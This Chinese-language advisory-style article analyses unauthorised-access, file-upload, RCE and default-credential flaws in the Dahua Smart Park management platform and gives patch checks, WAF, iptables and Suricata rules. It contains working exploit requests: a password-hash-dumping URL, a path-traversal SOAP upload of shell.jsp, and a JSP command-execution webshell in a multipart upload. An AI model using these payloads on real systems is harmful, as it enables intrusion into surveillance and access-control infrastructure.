大华智慧园区综合管理平台 V3.001.0000004.18.R.2223994 及以下版本 4 类高危漏洞深度剖析与修复验证-育师

大华智慧园区综合管理平台高危漏洞全景分析与防御实践

1. 漏洞全景扫描与风险评级

大华智慧园区综合管理平台作为行业领先的物联网解决方案，近期被安全研究人员发现存在多个高危漏洞。这些漏洞涉及未授权访问、文件上传、远程代码执行和弱口令等典型Web安全问题，攻击者可组合利用这些漏洞实现从信息泄露到服务器完全控制的完整攻击链。

根据CVSS 3.1评分标准，本次披露的漏洞风险等级如下：

漏洞类型	CVSS评分	威胁等级	影响范围
未授权访问	9.8	严重	V3.001.0000004.18.R.2223994及以下
任意文件上传	9.0	高危	所有使用emap组件的版本
远程代码执行	8.8	高危	视频管理模块受影响版本
默认凭证漏洞	7.5	高危	OAuth认证组件

注：实际风险需结合资产暴露情况和网络环境综合评估

2. 漏洞深度解析与技术原理

2.1 未授权访问漏洞链分析

该平台存在典型的权限校验缺失问题，攻击者无需认证即可访问以下敏感接口：

/WPMS/getPublicKey获取加密公钥
/admin/user_save.action创建管理员账户
/user_getUserInfoByUserName.action枚举用户密码哈希

GET /admin/user_getUserInfoByUserName.action?userName=admin HTTP/1.1 Host: target.com

典型响应包含MD5加密的密码字段：

{ "loginName": "admin", "loginPass": "e10adc3949ba59abbe56e057f20f883e" // 123456的MD5 }

2.2 文件上传漏洞技术解剖

平台存在两处文件上传漏洞点，均未对上传内容进行充分校验：

SOAP接口漏洞
/emap/webservice/gis/soap/bitmap接口允许通过XML传递Base64编码的恶意文件，且路径穿越符/../未被过滤：

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Body> <res:uploadPicFile> <arg0> <picPath>/../shell.jsp</picPath> </arg0> <arg1>PCVAIHBhZ2UgaW1wb3J0PSJqYXZhLnV0aWwuKixqYXZhLmlvLioiJT4...</arg1> </res:uploadPicFile> </soapenv:Body> </soapenv:Envelope>

视频上传漏洞
/publishing/publishing/material/file/video接口对文件扩展名检查不严格，攻击者可上传.jsp文件：

POST /publishing/publishing/material/file/video HTTP/1.1 Content-Type: multipart/form-data; boundary=boundary --boundary Content-Disposition: form-data; name="Filedata"; filename="test.jsp" <%@page import="java.util.*"%><% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

3. 漏洞验证与影响评估

3.1 自动化验证方案

使用Nuclei工具可快速验证漏洞存在性：

# nuclei-templates/iot/dahua-smart-park-file-upload.yaml id: dahua-smart-park-file-upload info: name: Dahua Smart Park Arbitrary File Upload severity: critical description: Detects file upload vulnerability in Dahua Smart Park Management System requests: - method: POST path: "/emap/webservice/gis/soap/bitmap" headers: Content-Type: text/xml body: | <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Body> <res:uploadPicFile> <arg0><picPath>/../test.txt</picPath></arg0> <arg1>dGVzdA==</arg1> </res:uploadPicFile> </soapenv:Body> </soapenv:Envelope> matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "uploadPicFileResponse")'

3.2 攻击影响面评估

成功利用漏洞组合可导致：

园区监控视频数据泄露
门禁系统失控
停车场管理瘫痪
服务器沦为攻击跳板

4. 防御方案与修复验证

4.1 官方补丁验证步骤

版本确认
登录系统后台，检查版本号应高于V3.001.0000004.18.R.2223994
补丁验证要点
- 尝试访问/admin/user_save.action应返回403
- 上传.jsp文件应被拦截并记录安全日志
- 默认账户justForTest应无法登录

4.2 临时缓解措施

若无法立即升级，建议实施：

网络层防护

# iptables规则示例 iptables -A INPUT -p tcp --dport 80 -m string --string "/emap/webservice" --algo bm -j DROP

WAF规则配置
添加以下规则模式：
- 阻断包含<picPath>/../的SOAP请求
- 拦截user_getUserInfoByUserName.action未授权访问
- 限制文件上传扩展名为.jpg,.png,.mp4
系统加固建议
- 修改默认OAuth client_secret
- 启用上传文件内容校验
- 设置严格的目录权限

5. 漏洞管理最佳实践

针对物联网系统的漏洞管理应建立以下机制：

资产发现
使用网络空间测绘技术持续监控暴露面：
```
fofa-cli --query 'app="dahua-智慧园区综合管理平台"'
```

威胁检测
部署IDS规则检测漏洞利用行为：

# Suricata规则示例 alert http any any -> any any (msg:"Dahua Smart Park Unauthorized Access"; flow:established,to_server; http.uri; content:"/user_getUserInfoByUserName.action"; classtype:web-application-attack;)